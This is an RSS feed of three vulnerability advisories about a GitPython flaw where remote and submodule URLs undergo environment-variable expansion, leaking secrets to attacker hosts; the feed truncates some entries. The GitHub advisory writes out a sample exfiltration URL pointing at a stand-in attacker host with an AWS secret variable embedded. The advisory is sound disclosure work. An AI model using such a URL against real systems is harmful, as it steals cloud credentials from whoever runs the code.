<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 29 Sep 2026 16:56:44 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-73622 — GitPython before 3.1.55 Environment Variable Exfiltration via Remote.add()</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-73622</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; gitpython-developers GitPython&lt;/p&gt;
&lt;p&gt;GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; gitpython-developers GitPython&lt;/p&gt;
&lt;p&gt;GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-73622</guid>
    </item>
    <item>
      <title>GHSA-94p4-4cq8-9g67 — GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-p…</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-94p4-4cq8-9g67</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: GitPython&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process&amp;#39;s environment secret, written into `.git/config`, and then transmitted to the attacker&amp;#39;s host on the next `fetch`/`pull`. This is the same primitive and same &amp;#34;import repository from URL&amp;#34; threat model the advisory describes, via the sibling caller the fix missed.&lt;/p&gt;
&lt;p&gt;## Root Cause&lt;/p&gt;
&lt;p&gt;Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper&amp;#39;s dangerous default was left in place, and the other callers were not updated.&lt;/p&gt;
&lt;p&gt;[`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`:&lt;/p&gt;
&lt;p&gt;```python
url = Git.polish_url(url)…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: GitPython&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process&amp;#39;s environment secret, written into `.git/config`, and then transmitted to the attacker&amp;#39;s host on the next `fetch`/`pull`. This is the same primitive and same &amp;#34;import repository from URL&amp;#34; threat model the advisory describes, via the sibling caller the fix missed.&lt;/p&gt;
&lt;p&gt;## Root Cause&lt;/p&gt;
&lt;p&gt;Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper&amp;#39;s dangerous default was left in place, and the other callers were not updated.&lt;/p&gt;
&lt;p&gt;[`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`:&lt;/p&gt;
&lt;p&gt;```python
url = Git.polish_url(url)…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-94p4-4cq8-9g67</guid>
    </item>
    <item>
      <title>PYSEC-2026-3951</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-3951</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: gitpython&lt;/p&gt;
&lt;p&gt;GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: gitpython&lt;/p&gt;
&lt;p&gt;GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-3951</guid>
    </item>
  </channel>
</rss>
